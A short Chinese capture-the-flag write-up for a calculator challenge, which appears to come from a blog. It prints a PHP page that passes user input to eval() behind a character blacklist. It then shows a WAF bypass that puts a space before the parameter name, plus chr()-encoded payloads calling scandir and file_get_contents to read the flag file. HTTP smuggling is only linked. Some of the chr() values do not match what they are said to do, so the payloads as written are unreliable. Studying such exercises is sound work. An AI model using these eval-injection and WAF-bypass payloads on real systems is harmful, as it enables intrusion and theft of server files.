image.png
    进去之后是个计算机，查看源码，发现calc.php和waf

    1. <!--I've set up WAF to ensure security.-->
    2. <script>
    3.     $('#calc').submit(function(){
    4.         $.ajax({
    5.             url:"calc.php?num="+encodeURIComponent($("#content").val()),
    6.             type:'GET',
    7.             success:function(data){
    8.                 $("#result").html(`<div class="alert alert-success">
    9.             <strong>答案:</strong>${data}
    10.             </div>`);
    11.             },
    12.             error:function(){
    13.                 alert("这啥?算不来!");
    14.             }
    15.         })
    16.         return false;
    17.     })
    18. </script>

    直接访问calc.php，得到网页源码

    1. <?php
    2. error_reporting(0);
    3. if(!isset($_GET['num'])){
    4.     show_source(__FILE__);
    5. }else{
    6.         $str = $_GET['num'];
    7.         $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    8.         foreach ($blacklist as $blackitem) {
    9.                 if (preg_match('/' . $blackitem . '/m', $str)) {
    10.                         die("what are you want to do?");
    11.                 }
    12.         }
    13.         eval('echo '.$str.';');
    14. }
    15. ?>

    可以看到最后有个eval可以执行命令，不过过滤了很多东西，包括单、双引号和反引号，$和[]也被过滤了，通过参数的绕过方式行不通了，但是还可以用chr()的形式来输入参数。
    构造好payload后访问，却发现被waf拦截了
    image.png
    此处有两种绕过方式：

    1. PHP的字符串解析特性

    在参数前加一个空格，php读取时会去掉空格，但waf就无法检测到了。
    原本想的是通过system直接执行命令，但是发现不管怎么样都返回不了数据，所以之恶能先通过scandir来获取flag路径，file_get_contents获取内容

    1. calc.php?%20num=scandir(chr(49))
    2. calc.php?%20num=file_get_contents(chr(39).chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
    1. HTTP走私

    参考https://paper.seebug.org/1048/#31-cl0get